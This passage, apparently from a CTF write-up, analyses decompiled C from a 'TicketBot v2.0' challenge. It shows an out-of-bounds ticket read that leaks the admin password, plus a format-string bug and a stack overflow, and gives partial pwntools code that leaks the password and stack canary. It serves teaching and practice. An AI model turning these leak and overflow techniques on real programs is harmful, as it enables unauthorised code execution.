<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="n">EVP_PKEY_CTX</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">init</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span>
  <span class="n">wellcome</span><span class="p">();</span>
  <span class="k">do</span> <span class="p">{</span>
    <span class="n">menu</span><span class="p">();</span>
  <span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Inside the main function there are calls to <code class="language-plaintext highlighter-rouge">init()</code>, <code class="language-plaintext highlighter-rouge">welcome()</code>, and <code class="language-plaintext highlighter-rouge">menu</code>. Let’s explore <code class="language-plaintext highlighter-rouge">init()</code> first.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">init</span><span class="p">(</span><span class="n">EVP_PKEY_CTX</span> <span class="o">*</span><span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">__stream</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">randoms</span> <span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">__stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/dev/urandom"</span><span class="p">,</span><span class="s">"rb"</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">randoms</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="n">__stream</span><span class="p">);</span>
  <span class="n">fclose</span><span class="p">(</span><span class="n">__stream</span><span class="p">);</span>
  <span class="n">srand</span><span class="p">((</span><span class="n">uint</span><span class="p">)</span><span class="n">randoms</span><span class="p">);</span>
  <span class="n">password</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">password</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It looks like some buffering is set up, and then 8 bytes from <code class="language-plaintext highlighter-rouge">/dev/urandom</code> are read in to a buffer to seed <code class="language-plaintext highlighter-rouge">srand()</code>. Then, the result of <code class="language-plaintext highlighter-rouge">rand()</code> is stored in a 
global variable called <code class="language-plaintext highlighter-rouge">password</code>. Next, let’s look at <code class="language-plaintext highlighter-rouge">wellcome()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">wellcome</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  
  <span class="n">lVar1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Wellcome to TicketBot v2.0 here is your ticketID %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">ticketcounter</span><span class="p">);</span>
  <span class="n">currentticketid</span> <span class="o">=</span> <span class="n">ticketcounter</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Please tell me why your here:"</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%32s"</span><span class="p">,</span><span class="n">tickets</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">ticketcounter</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Nothing super special happening here. We are prompted for some user input which is stored at an offset within the global <code class="language-plaintext highlighter-rouge">tickets</code> variable. Also note that
our <code class="language-plaintext highlighter-rouge">currentticketid</code> is set to <code class="language-plaintext highlighter-rouge">ticketcounter</code>, which at the start is <code class="language-plaintext highlighter-rouge">0</code>.</p>

<p>Next, let’s look in <code class="language-plaintext highlighter-rouge">menu()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">menu</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">choice</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"========================"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"1. New Ticket"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"2. View Ticket"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"3. Service Login"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"========================"</span><span class="p">);</span>
  <span class="n">choice</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice</span><span class="p">);</span>
  <span class="n">getchar</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">GrabNewTicket</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ViewTicket</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ServiceLogin</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"that is not an option"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>A pretty standard menu function. We’ve got some new functions to look at, let’s start with <code class="language-plaintext highlighter-rouge">GrabNewTicket()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">GrabNewTicket</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  
  <span class="n">lVar1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">currentticketid</span> <span class="o">=</span> <span class="n">ticketcounter</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="n">ticketcounter</span> <span class="o">=</span> <span class="n">currentticketid</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="mi">5</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">currentticketid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ticketcounter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"your new ticketID is %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">ticketcounter</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Please tell me why your here:"</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%32s"</span><span class="p">,</span><span class="n">tickets</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">ticketcounter</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">lVar1</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Upon requesting a new ticket, our current ticket ID is incremented by one and the ticket counter is set to that new number. If our ticket ID is 5, 
then <code class="language-plaintext highlighter-rouge">ticketcounter</code> is set to 0. This is crucial to remember for later. After that, our ticketID is printed to us and we give some input. Let’s look at 
<code class="language-plaintext highlighter-rouge">ViewTicket()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ViewTicket</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">ticket_id</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">ticket_id</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"please enter your ticketID"</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">ticket_id</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">ticket_id</span> <span class="o">==</span> <span class="n">currentticketid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">tickets</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">ticket_id</span> <span class="o">*</span> <span class="mh">0x20</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"sorry that is not your ticket!"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At first glance, nothing may look super off. We are prompted to enter the <code class="language-plaintext highlighter-rouge">ticket_id</code> we want to view and then the <code class="language-plaintext highlighter-rouge">tickets</code> variable is indexed with that
ticket_id. The ticket contents are then printed out. The contents are what we enter after we are asked “Please tell me why you are here”.</p>

<p>Let’s look at the functionality of <code class="language-plaintext highlighter-rouge">ServiceLogin()</code> before we look at the bug.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ServiceLogin</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">local_14</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Admin Password"</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_14</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_14</span> <span class="o">!=</span> <span class="n">password</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Wrong Password"</span><span class="p">);</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">AdminMenu</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We are prompted for an “Admin Password” which is compared to the random number generated in <code class="language-plaintext highlighter-rouge">init()</code>. If we are correct, we enter the <code class="language-plaintext highlighter-rouge">AdminMenu()</code> function. 
Let’s look at that now.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">AdminMenu</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">choice</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"========================"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"1. change Admin Password"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"2. reset all Tickets"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"========================"</span><span class="p">);</span>
  <span class="n">choice</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">choice</span><span class="p">);</span>
  <span class="n">getchar</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">adminpass</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Reset done!"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Once we are in, we can either change the admin password or reset all tickets (which doesn’t appear to do anything). Let’s have a look in the <code class="language-plaintext highlighter-rouge">adminpass()</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">adminpass</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">new_passwd</span> <span class="p">[</span><span class="mi">4</span><span class="p">];</span>
  <span class="kt">int</span> <span class="n">local_14</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter new Password"</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span><span class="n">new_passwd</span><span class="p">);</span>
  <span class="n">local_14</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">new_passwd</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Password changed to"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="n">new_passwd</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Crucially, we have two vulnerabilities. The first is a buffer overflow; an arbitrary amount of bytes can be read in with <code class="language-plaintext highlighter-rouge">scanf()</code> to a buffer that is only 
4 bytes big. Second, we have a <code class="language-plaintext highlighter-rouge">printf</code> vulnerability which was explained above, but basically we can specify arbitrary format specifiers like <code class="language-plaintext highlighter-rouge">%p</code> to leak things 
off of the stack.</p>

<p>The exploit path is then simple; use the format string vulnerability to leak the canary and a libc pointer, and do a <code class="language-plaintext highlighter-rouge">ret2libc</code> attack to a one gadget. A <code class="language-plaintext highlighter-rouge">one gadget</code>
is an address within libc that once returned to will (normally) use some form of <code class="language-plaintext highlighter-rouge">execve</code> to spawn a shell.</p>

<p>But, in order to exploit that we need to give the password which is randomly generated. Enter our bug.</p>

<p>Remember how when the program is first run, <code class="language-plaintext highlighter-rouge">wellcome()</code> is called? Note that I did not misspell that, that is how it is in the program :) In there we were told our 
ticket_id is 0, <code class="language-plaintext highlighter-rouge">currentticketid</code> and <code class="language-plaintext highlighter-rouge">ticketcounter</code> are set to each other (0 in this case), and we enter in input for “Why we are here” which is stored in the 
global <code class="language-plaintext highlighter-rouge">tickets</code> variable.</p>

<p>The global <code class="language-plaintext highlighter-rouge">tickets</code> array is 159 bytes long and the program indexes it in sections of <code class="language-plaintext highlighter-rouge">32</code> bytes. 159 / 32 ~ 5, meaning that we can store about 5 tickets. This is
supported by the check in <code class="language-plaintext highlighter-rouge">GrabNewTicket()</code> seen below.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>

  <span class="k">if</span> <span class="p">(</span><span class="mi">5</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">currentticketid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ticketcounter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

<span class="p">...</span>
</code></pre></div></div>
<p>So, after the initial “wellcome” ticket starts at <code class="language-plaintext highlighter-rouge">ticket_id</code> 0, we can have a <code class="language-plaintext highlighter-rouge">ticket_id</code> of up to <code class="language-plaintext highlighter-rouge">5</code>. So, effectively we can have <code class="language-plaintext highlighter-rouge">6</code> tickets (0 -&gt; 5). See why 
that might be a problem? Let’s look at the check within <code class="language-plaintext highlighter-rouge">ViewTicket()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">ticket_id</span> <span class="o">==</span> <span class="n">currentticketid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">tickets</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">ticket_id</span> <span class="o">*</span> <span class="mi">32</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span> 
<span class="k">else</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"sorry that is not your ticket!"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Notice how the check is different? It only checks to make sure the <code class="language-plaintext highlighter-rouge">ticket_id</code> == <code class="language-plaintext highlighter-rouge">currentticketid</code>. So if we create the initial ticket (which we don’t have a 
choice in making) and it is <code class="language-plaintext highlighter-rouge">ticket_id</code> 0, and then create 5 more such that our <code class="language-plaintext highlighter-rouge">ticket_id</code> is 5 (1, 2, 3, 4, 5), we can index outside of the global <code class="language-plaintext highlighter-rouge">tickets</code> 
array.</p>

<p>If we look at the following code in <code class="language-plaintext highlighter-rouge">ViewTicket()</code>…</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">ticket_id</span> <span class="o">==</span> <span class="n">currentticketid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">tickets</span> <span class="o">+</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">ticket_id</span> <span class="o">*</span> <span class="mi">32</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"sorry that is not your ticket!"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>With a <code class="language-plaintext highlighter-rouge">ticket_id</code> of <code class="language-plaintext highlighter-rouge">5</code>, we will write 20 bytes of data to <code class="language-plaintext highlighter-rouge">stdout</code> after <code class="language-plaintext highlighter-rouge">tickets + 160</code>. And, luckily for us, the seed (which is not used in this challenge but 
is used in v1) and password are right after the <code class="language-plaintext highlighter-rouge">tickets</code> array. So, we can leak the password! Now we have access to not only the admin panel, but also to the 
crucial vulnerabilities we will need.</p>

<p><img src="ticket-globals.png" alt="" /></p>

<p>See above the global variable layout. The blue arrow is the end of the <code class="language-plaintext highlighter-rouge">tickets</code> array and the red arrow is the <code class="language-plaintext highlighter-rouge">password</code> value we can leak.</p>

<p>So, now to write the exploit. We’ll use the <code class="language-plaintext highlighter-rouge">printf</code> vulnerability to leak the canary and libc using the same methodology mentioned in <code class="language-plaintext highlighter-rouge">shelltester-v2</code> for finding 
out what <code class="language-plaintext highlighter-rouge">x</code> value to specify when doing <code class="language-plaintext highlighter-rouge">%{x}$p</code> to get a leak. The python code for doing so is below.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'here:</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'idk'</span><span class="p">)</span>

<span class="c1"># Make 5 tickets
</span><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'idk'</span><span class="p">)</span>

<span class="c1"># View ticket/leak
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'5'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'idk'</span><span class="p">)</span>

<span class="c1"># Grab Password
</span><span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">4</span><span class="p">:</span><span class="mi">12</span><span class="p">])</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">9</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span>

<span class="c1"># Get the canary, at stack offset 7
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">password</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%7$p'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="mi">16</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Canary = </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

